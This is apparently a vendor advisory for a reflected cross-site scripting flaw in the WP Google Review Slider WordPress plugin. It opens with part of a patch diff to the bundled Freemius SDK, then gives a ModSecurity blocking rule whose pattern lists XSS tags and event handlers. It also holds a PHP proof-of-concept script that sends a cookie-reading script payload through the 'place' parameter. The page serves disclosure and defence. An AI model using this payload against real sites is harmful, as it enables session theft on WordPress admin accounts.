+			if ( ! empty( $wp_filter ) && isset( $this->removed_actions[ $hook ] ) ) {
+				$wp_filter[ $hook ] = $this->removed_actions[ $hook ];
+				unset( $this->removed_actions[ $hook ] );
+			}
+		}
+	}
 No newline at end of file
--- a/wp-google-places-review-slider/freemius/includes/class-fs-logger.php
+++ b/wp-google-places-review-slider/freemius/includes/class-fs-logger.php
@@ -636,7 +636,17 @@
 			$offset = 0,
 			$order = false
 		) {
-			global $wpdb;
+			if ( empty( $filename ) ) {
+				$filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv';
+			}
+
+			$upload_dir = wp_upload_dir();
+			$filepath   = rtrim( $upload_dir['path'], '/' ) . "/{$filename}";
+
+			WP_Filesystem();
+			if ( ! $GLOBALS['wp_filesystem']->is_writable( dirname( $filepath ) ) ) {
+				return false;
+			}

 			$query = self::build_db_logs_query(
 				$filters,
@@ -646,14 +656,6 @@
 				true
 			);

-			$upload_dir = wp_upload_dir();
-			if ( empty( $filename ) ) {
-				$filename = 'fs-logs-' . date( 'Y-m-d_H-i-s', WP_FS__SCRIPT_START_TIME ) . '.csv';
-			}
-			$filepath = rtrim( $upload_dir['path'], '/' ) . "/{$filename}";
-
-			$query .= " INTO OUTFILE '{$filepath}' FIELDS TERMINATED BY 't' ESCAPED BY '\\' OPTIONALLY ENCLOSED BY '"' LINES TERMINATED BY '\n'";
-
 			$columns = '';
 			for ( $i = 0, $len = count( self::$_log_columns ); $i < $len; $i ++ ) {
 				if ( $i > 0 ) {
@@ -665,12 +667,16 @@

 			$query = "SELECT {$columns} UNION ALL " . $query;

-			$result = $wpdb->query( $query );
+			$result = $GLOBALS['wpdb']->get_results( $query );

 			if ( false === $result ) {
 				return false;
 			}

+			if ( ! self::write_csv_to_filesystem( $filepath, $result ) ) {
+				return false;
+			}
+
 			return rtrim( $upload_dir['url'], '/' ) . '/' . $filename;
 		}

@@ -691,5 +697,32 @@
 			return rtrim( $upload_dir['url'], '/' ) . $filename;
 		}

+		/**
+		 * @param string $file_path
+		 * @param array  $query_results
+		 *
+		 * @return bool
+		 */
+		private static function write_csv_to_filesystem( $file_path, $query_results ) {
+			if ( empty( $query_results ) ) {
+				return false;
+			}
+
+			$content = '';
+
+			foreach ( $query_results as $row ) {
+				$row_data = array_map( function ( $value ) {
+					return str_replace( "n", ' ', $value );
+				}, (array) $row );
+				$content  .= implode( "t", $row_data ) . "n";
+			}
+
+			if ( ! $GLOBALS['wp_filesystem']->put_contents( $file_path, $content, FS_CHMOD_FILE ) ) {
+				return false;
+			}
+
+			return true;
+		}
+
 		#endregion
 	}
--- a/wp-google-places-review-slider/freemius/includes/class-fs-plugin-updater.php
+++ b/wp-google-places-review-slider/freemius/includes/class-fs-plugin-updater.php
@@ -540,20 +540,38 @@
                 return $transient_data;
             }

+            // Alias.
+            $basename = $this->_fs->premium_plugin_basename();
+
             global $wp_current_filter;

-            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+            /**
+             * During bulk updates, avoid re-injecting update data for the plugin itself once it has already been updated.
+             *
+             * If the custom package is re-added to the transient after the plugin update, WordPress may detect the package again and incorrectly report "The plugin is at the latest version" for a pending update, since the custom package version matches the currently installed version.
+             *
+             * Behavior differs depending on how the bulk update is triggered. Please refer to the inline comments for each flow below for details.
+             */
+            if (
+                ! empty( $wp_current_filter ) && (
+                    /**
+                     * update-core.php and other upgrader pages:
+                     * The `upgrader_process_complete` action fires only once after all updates have finished. In this case, it is the current action (`$wp_current_filter[0]`), while `self::$_upgrade_basename` may contain any plugin basename.
+                     */
+                    'upgrader_process_complete' === $wp_current_filter[0] ||
+                    /**
+                     * AJAX bulk updates (e.g., from the Plugins page):
+                     * The `upgrader_process_complete` action fires multiple times — once for each plugin after it finishes updating. In this flow, it is not the current action (`$wp_current_filter[0]`) because it is triggered from another action. Instead, we compare `self::$_upgrade_basename` with the basename of the plugin currently being updated, since the `upgrader_process_complete` action runs separately for each plugin.
+                     */
+                    ( in_array( 'upgrader_process_complete', $wp_current_filter ) && self::$_upgrade_basename === $basename )
+                )
+            ) {
                 return $transient_data;
             }

             if ( ! isset( $this->_update_details ) ) {
                 // Get plugin's newest update.
-                $new_version = $this->_fs->get_update(
-                    false,
-                    fs_request_get_bool( 'force-check' ),
-                    FS_Plugin_Updater::UPDATES_CHECK_CACHE_EXPIRATION,
-                    $this->_fs->get_plugin_version()
-                );
+                $new_version = $this->_fs->get_update( false, fs_request_get_bool( 'force-check' ) );

                 $this->_update_details = false;

@@ -571,9 +589,6 @@
                 }
             }

-            // Alias.
-            $basename = $this->_fs->premium_plugin_basename();
-
             if ( is_object( $this->_update_details ) ) {
                 if ( isset( $transient_data->no_update ) ) {
                     unset( $transient_data->no_update[ $basename ] );
@@ -704,16 +719,8 @@
                 );
             }

-            if ( $this->_fs->is_premium() ) {
-                $latest_tag = $this->_fs->_fetch_latest_version( $this->_fs->get_id(), false );
-
-                if (
-                    isset( $latest_tag->readme ) &&
-                    isset( $latest_tag->readme->upgrade_notice ) &&
-                    ! empty( $latest_tag->readme->upgrade_notice )
-                ) {
-                    $update->upgrade_notice = $latest_tag->readme->upgrade_notice;
-                }
+            if ( $this->_fs->is_premium() && ! empty( $new_version->upgrade_notice ) ) {
+                $update->upgrade_notice = $new_version->upgrade_notice;
             }

             $update->{$this->_fs->get_module_type()} = $this->_fs->get_plugin_basename();
--- a/wp-google-places-review-slider/freemius/includes/customizer/class-fs-customizer-upsell-control.php
+++ b/wp-google-places-review-slider/freemius/includes/customizer/class-fs-customizer-upsell-control.php
@@ -73,7 +73,6 @@
 						'forum'              => 'Support Forum',
 						'email'              => 'Priority Email Support',
 						'phone'              => 'Phone Support',
-						'skype'              => 'Skype Support',
 						'is_success_manager' => 'Personal Success Manager',
 					);

--- a/wp-google-places-review-slider/freemius/includes/entities/class-fs-payment.php
+++ b/wp-google-places-review-slider/freemius/includes/entities/class-fs-payment.php
@@ -132,10 +132,11 @@
          */
         function formatted_gross()
         {
+            $price = $this->gross + $this->vat;
             return (
-                ( $this->gross < 0 ? '-' : '' ) .
+                ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
-                number_format( abs( $this->gross ), 2, '.', ',' ) . ' ' .
+                number_format( abs( $price ), 2, '.', ',' ) . ' ' .
                 strtoupper( $this->currency )
             );
         }
--- a/wp-google-places-review-slider/freemius/includes/entities/class-fs-plugin-plan.php
+++ b/wp-google-places-review-slider/freemius/includes/entities/class-fs-plugin-plan.php
@@ -75,10 +75,12 @@
 		 * @var string Support phone.
 		 */
 		public $support_phone;
-		/**
-		 * @var string Support skype username.
-		 */
-		public $support_skype;
+        /**
+         * @var string Support skype username.
+         *
+         * @deprecated 2.12.1
+         */
+        public $support_skype = '';
 		/**
 		 * @var bool Is personal success manager supported with the plan.
 		 */
@@ -137,7 +139,6 @@
 		 */
 		function has_technical_support() {
 			return ( ! empty( $this->support_email ) ||
-			     ! empty( $this->support_skype ) ||
 			     ! empty( $this->support_phone ) ||
 			     ! empty( $this->is_success_manager )
 			);
--- a/wp-google-places-review-slider/freemius/includes/entities/class-fs-plugin-tag.php
+++ b/wp-google-places-review-slider/freemius/includes/entities/class-fs-plugin-tag.php
@@ -43,6 +43,10 @@
          * @var string One of the following: `pending`, `beta`, `unreleased`.
          */
         public $release_mode;
+        /**
+         * @var string
+         */
+        public $upgrade_notice;

 		function __construct( $tag = false ) {
 			parent::__construct( $tag );
--- a/wp-google-places-review-slider/freemius/includes/entities/class-fs-site.php
+++ b/wp-google-places-review-slider/freemius/includes/entities/class-fs-site.php
@@ -202,7 +202,7 @@
                 // Vendasta
                 ( fs_ends_with( $subdomain, '.websitepro-staging.com' ) || fs_ends_with( $subdomain, '.websitepro.hosting' ) ) ||
                 // InstaWP
-                fs_ends_with( $subdomain, '.instawp.xyz' ) ||
+                ( fs_ends_with( $subdomain, '.instawp.co' ) || fs_ends_with( $subdomain, '.instawp.link' ) || fs_ends_with( $subdomain, '.instawp.xyz' ) ) ||
                 // 10Web Hosting
                 ( fs_ends_with( $subdomain, '-dev.10web.site' ) || fs_ends_with( $subdomain, '-dev.10web.cloud' ) )
             );
@@ -220,6 +220,8 @@
             // Services aimed at providing a WordPress sandbox environment.
             $sandbox_wp_environment_domains = array(
                 // InstaWP
+                'instawp.co',
+                'instawp.link',
                 'instawp.xyz',

                 // TasteWP
--- a/wp-google-places-review-slider/freemius/includes/fs-essential-functions.php
+++ b/wp-google-places-review-slider/freemius/includes/fs-essential-functions.php
@@ -10,6 +10,9 @@
 	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
 	 * @since       1.1.5
 	 */
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }

 	if ( ! function_exists( 'fs_normalize_path' ) ) {
 		if ( function_exists( 'wp_normalize_path' ) ) {
--- a/wp-google-places-review-slider/freemius/includes/managers/class-fs-checkout-manager.php
+++ b/wp-google-places-review-slider/freemius/includes/managers/class-fs-checkout-manager.php
@@ -12,7 +12,36 @@

 	class FS_Checkout_Manager {

-		# region Singleton
+        /**
+         * Allowlist of query parameters for checkout.
+         */
+        private $_allowed_custom_params = array(
+            // currency
+            'currency'                      => true,
+            'default_currency'              => true,
+            // cart
+            'always_show_renewals_amount'   => true,
+            'annual_discount'               => true,
+            'billing_cycle'                 => true,
+            'billing_cycle_selector'        => true,
+            'bundle_discount'               => true,
+            'maximize_discounts'            => true,
+            'multisite_discount'            => true,
+            'show_inline_currency_selector' => true,
+            'show_monthly'                  => true,
+            // appearance
+            'form_position'                 => true,
+            'is_bundle_collapsed'           => true,
+            'layout'                        => true,
+            'refund_policy_position'        => true,
+            'show_refund_badge'             => true,
+            'show_reviews'                  => true,
+            'show_upsells'                  => true,
+            'title'                         => true,
+        );
+
+
+        # region Singleton

 		/**
 		 * @var FS_Checkout_Manager
@@ -153,7 +182,12 @@
 				( $fs->is_theme() && current_user_can( 'install_themes' ) )
 			);

-			return array_merge( $context_params, $_GET, array(
+            $filtered_params = $fs->apply_filters('checkout/parameters', $context_params);
+
+            // Allowlist only allowed query params.
+            $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);
+
+            return array_merge( $context_params, $filtered_params, $_GET, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
@@ -239,4 +273,4 @@
 		private function get_checkout_redirect_nonce_action( Freemius $fs ) {
 			return $fs->get_unique_affix() . '_checkout_redirect';
 		}
-	}
 No newline at end of file
+	}
--- a/wp-google-places-review-slider/freemius/includes/managers/class-fs-clone-manager.php
+++ b/wp-google-places-review-slider/freemius/includes/managers/class-fs-clone-manager.php
@@ -412,12 +412,12 @@
          * @author Vova Feldman (@svovaf)
          * @since 2.5.0
          *
-         * @param Freemius    $instance
-         * @param string|false $license_key
+         * @param Freemius               $instance
+         * @param FS_Plugin_License|null $license
          *
          * @return bool TRUE if successfully connected. FALSE if failed and had to restore install from backup.
          */
-        private function delete_install_and_connect( Freemius $instance, $license_key = false ) {
+        private function delete_install_and_connect( Freemius $instance, $license = null ) {
             $user = Freemius::_get_user_by_id( $instance->get_site()->user_id );

             $instance->delete_current_install( true );
@@ -430,6 +430,9 @@
                 $user = Freemius::_get_user_by_email( $current_user->user_email );
             }

+            $license_key      = ( is_object( $license ) ? $license->secret_key : false );
+            $license_owner_id = ( is_object( $license ) ? $license->user_id : null );
+
             if ( is_object( $user ) ) {
                 // When a clone is found, we prefer to use the same user of the original install for the opt-in.
                 $instance->install_with_user( $user, $license_key, false, false );
@@ -439,7 +442,14 @@
                     false,
                     false,
                     false,
-                    $license_key
+                    $license_key,
+                    false,
+                    false,
+                    false,
+                    null,
+                    array(),
+                    true,
+                    $license_owner_id
                 );
             }

@@ -505,7 +515,7 @@
             }

             // If the site is a clone of another subsite in the network, or a localhost one, try to auto activate the license.
-            return $this->delete_install_and_connect( $instance, $license->secret_key );
+            return $this->delete_install_and_connect( $instance, $license );
         }

         /**
--- a/wp-google-places-review-slider/freemius/includes/managers/class-fs-contact-form-manager.php
+++ b/wp-google-places-review-slider/freemius/includes/managers/class-fs-contact-form-manager.php
@@ -77,7 +77,7 @@
 			$query_params = $this->get_query_params( $fs );

 			$query_params['is_standalone'] = 'true';
-			$query_params['parent_url']    = admin_url( add_query_arg( null, null ) );
+			$query_params['parent_url']    = admin_url( add_query_arg( '', '' ) );

 			return WP_FS__ADDRESS . '/contact/?' . http_build_query( $query_params );
 		}
--- a/wp-google-places-review-slider/freemius/includes/managers/class-fs-debug-manager.php
+++ b/wp-google-places-review-slider/freemius/includes/managers/class-fs-debug-manager.php
@@ -6,6 +6,9 @@
      * @package   Freemius
      * @since     2.6.2
      */
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }

     class FS_DebugManager {

--- a/wp-google-places-review-slider/freemius/require.php
+++ b/wp-google-places-review-slider/freemius/require.php
@@ -58,4 +58,5 @@
     require_once WP_FS__DIR_INCLUDES . '/class-fs-admin-notices.php';
 	require_once WP_FS__DIR_INCLUDES . '/class-freemius-abstract.php';
 	require_once WP_FS__DIR_INCLUDES . '/sdk/Exceptions/Exception.php';
+	require_once WP_FS__DIR_INCLUDES . '/class-fs-hook-snapshot.php';
 	require_once WP_FS__DIR_INCLUDES . '/class-freemius.php';
--- a/wp-google-places-review-slider/freemius/start.php
+++ b/wp-google-places-review-slider/freemius/start.php
@@ -7,7 +7,7 @@
 	 */

 	if ( ! defined( 'ABSPATH' ) ) {
-		exit;
+		return;
 	}

 	/**
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.11.0';
+	$this_sdk_version = '2.13.2';

 	#region SDK Selection Logic --------------------------------------------------------------------

@@ -90,8 +90,8 @@
      * @author Leo Fajardo (@leorw)
      * @since 2.2.3
      */
-	$themes_directory         = get_theme_root( get_stylesheet() );
-	$themes_directory_name    = basename( $themes_directory );
+	$themes_directory      = fs_normalize_path( get_theme_root( get_stylesheet() ) );
+	$themes_directory_name = basename( $themes_directory );

     // This change ensures that the condition works even if the SDK is located in a subdirectory (e.g., vendor)
     $theme_candidate_sdk_basename = str_replace( $themes_directory . '/' . get_stylesheet() . '/', '', $fs_root_path );
@@ -128,12 +128,16 @@
          * The check of `fs_find_direct_caller_plugin_file` determines that this file was indeed included by a different plugin than the main plugin.
          */
         if ( DIRECTORY_SEPARATOR . $this_sdk_relative_path === $fs_root_path && function_exists( 'fs_find_direct_caller_plugin_file' ) ) {
-            $original_plugin_dir_name = dirname( fs_find_direct_caller_plugin_file( $file_path ) );
+            $direct_caller_plugin_file = fs_find_direct_caller_plugin_file( $file_path );
+
+            if ( ! empty( $direct_caller_plugin_file ) ) {
+                $original_plugin_dir_name = dirname( $direct_caller_plugin_file );

-            // Remove everything before the original plugin directory name.
-            $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );
+                // Remove everything before the original plugin directory name.
+                $this_sdk_relative_path = substr( $this_sdk_relative_path, strpos( $this_sdk_relative_path, $original_plugin_dir_name ) );

-            unset( $original_plugin_dir_name );
+                unset( $original_plugin_dir_name );
+            }
         }
     }

@@ -441,6 +445,8 @@
 	 *      fs_is_submenu_visible_{plugin_slug}
 	 *      fs_plugin_icon_{plugin_slug}
 	 *      fs_show_trial_{plugin_slug}
+	 *      fs_is_pricing_page_visible_{plugin_slug}
+	 *      fs_checkout/parameters_{plugin_slug}
 	 *
 	 * --------------------------------------------------------
 	 *
@@ -448,6 +454,8 @@
 	 *
 	 *      fs_after_license_loaded_{plugin_slug}
 	 *      fs_after_license_change_{plugin_slug}
+	 *      fs_after_license_activation_{plugin_slug}
+	 *      fs_after_license_deactivation_{plugin_slug}
 	 *      fs_after_plans_sync_{plugin_slug}
 	 *
 	 *      fs_after_account_details_{plugin_slug}
--- a/wp-google-places-review-slider/freemius/templates/account.php
+++ b/wp-google-places-review-slider/freemius/templates/account.php
@@ -252,6 +252,8 @@
     $available_license_paid_plan = is_object( $available_license ) ?
         $fs->_get_plan_by_id( $available_license->plan_id ) :
         null;
+
+    $is_dev_mode = ( defined( 'WP_FS__DEV_MODE' ) && WP_FS__DEV_MODE );
 ?>
 	<div class="wrap fs-section">
 		<?php if ( ! $has_tabs && ! $fs->apply_filters( 'hide_account_tabs', false ) ) : ?>
@@ -787,7 +789,7 @@
 											<th><?php echo esc_html( $plan_text ) ?></th>
 											<th><?php fs_esc_html_echo_x_inline( 'License', 'as software license', 'license', $slug ) ?></th>
 											<th></th>
-											<?php if ( defined( 'WP_FS__DEV_MODE' ) && WP_FS__DEV_MODE ) : ?>
+											<?php if ( $is_dev_mode ) : ?>
 												<th></th>
 											<?php endif ?>
 										</tr>
@@ -853,10 +855,20 @@
                                                     'is_whitelabeled'                => ( $is_whitelabeled && ! $is_data_debug_mode )
 												);

-												fs_require_template(
-													'account/partials/addon.php',
-													$addon_view_params
-												);
+												if ( ! empty($addon_view_params['addon_info'] ) ) {
+													fs_require_template(
+														'account/partials/addon.php',
+														$addon_view_params
+													);
+												} else {
+													// If we are here it means there is an activation of an unreleased add-on and yet the SDK is not in development mode.
+													echo '<tr>';
+													echo '<td style="text-align: right;">' . esc_html( $addon_id ) . '</td>';
+													echo '<td colspan="' . ( $is_dev_mode ? 6 : 5 ) . '" style="text-align: left;">';
+													echo 'The add-on you have activated is no longer <a href="https://freemius.com/help/documentation/wordpress/selling-add-ons-extensions/#preparing-the-add-on-for-sale" rel="noreferrer noopener" target="_blank">listed</a> by the product owner, or the SDK is not running in <a href="https://freemius.com/help/documentation/wordpress-sdk/testing/" rel="noreferrer noopener" target="_blank">test mode</a>. Please <a href="' . esc_url( $fs->contact_url() ) . '">contact support</a> if you need further assistance.';
+													echo '</td>';
+													echo '</tr>';
+												}

 												$odd = ! $odd;
 											} ?>
--- a/wp-google-places-review-slider/freemius/templates/add-ons.php
+++ b/wp-google-places-review-slider/freemius/templates/add-ons.php
@@ -374,6 +374,12 @@
 	</div>
 	<script type="text/javascript">
 		(function( $, undef ) {
+			$( 'a.thickbox' ).on( 'click', function () {
+				setTimeout( function () {
+					$( '#TB_window' ).addClass( 'plugin-details-modal' );
+				}, 0 );
+			} );
+
 			<?php if ( $open_addon ) : ?>

 			var interval = setInterval(function () {
--- a/wp-google-places-review-slider/freemius/templates/checkout.php
+++ b/wp-google-places-review-slider/freemius/templates/checkout.php
@@ -5,7 +5,9 @@
 	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
 	 * @since       2.9.0
 	 */
-
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
 	/**
 	 * @var array    $VARS
 	 * @var Freemius $fs
--- a/wp-google-places-review-slider/freemius/templates/checkout/frame.php
+++ b/wp-google-places-review-slider/freemius/templates/checkout/frame.php
@@ -35,7 +35,6 @@
 	}

 	wp_enqueue_script( 'jquery' );
-	wp_enqueue_script( 'json2' );
 	fs_enqueue_local_script( 'postmes

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-admin/admin.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-13015 - WP Google Review Slider Reflected XSS via place parameter',severity:'CRITICAL',tag:'CVE-2026-13015'"
  SecRule ARGS_GET:page "@streq wp-google-places-review-slider-admin" "chain"
    SecRule ARGS_GET:tab "@streq googlecrawl" "chain"
      SecRule ARGS_GET:place "@rx <script|<img|<svg|<iframe|onload=|onerror=|onclick=" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13015 - WP Google Review Slider <= 18.1 - Reflected Cross-Site Scripting via 'place' Parameter

// Configuration
$target_url = 'http://example.com/wordpress'; // CHANGE THIS to your target WordPress base URL
$admin_page = '/wp-admin/admin.php';
$params = [
    'page' => 'wp-google-places-review-slider-admin',
    'tab' => 'googlecrawl',
    'place' => '"><script>alert(document.cookie)</script>'
];

// Build the malicious URL
$query_string = http_build_query($params);
$exploit_url = $target_url . $admin_page . '?' . $query_string;

// Output the exploit details
echo "[+] Atomic Edge PoC for CVE-2026-13015n";
echo "[+] Target: $target_urln";
echo "[+] Exploit URL: $exploit_urlnn";

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP%20Cookie%20check;'); // No auth cookie - testing unauthenticated access

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === false) {
    echo "[-] cURL error: " . curl_error($ch) . "n";
    exit(1);
}

// Check if the payload is reflected in the response
echo "[+] HTTP Response Code: $http_coden";

if (strpos($response, '"><script>alert(document.cookie)</script>') !== false) {
    echo "[VULNERABLE] The XSS payload was reflected in the page output.n";
    echo "[!] To test, access the exploit URL in a browser with an authenticated admin session.n";
} else {
    echo "[-] Payload not reflected. The site may be patched or requires authentication.n";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.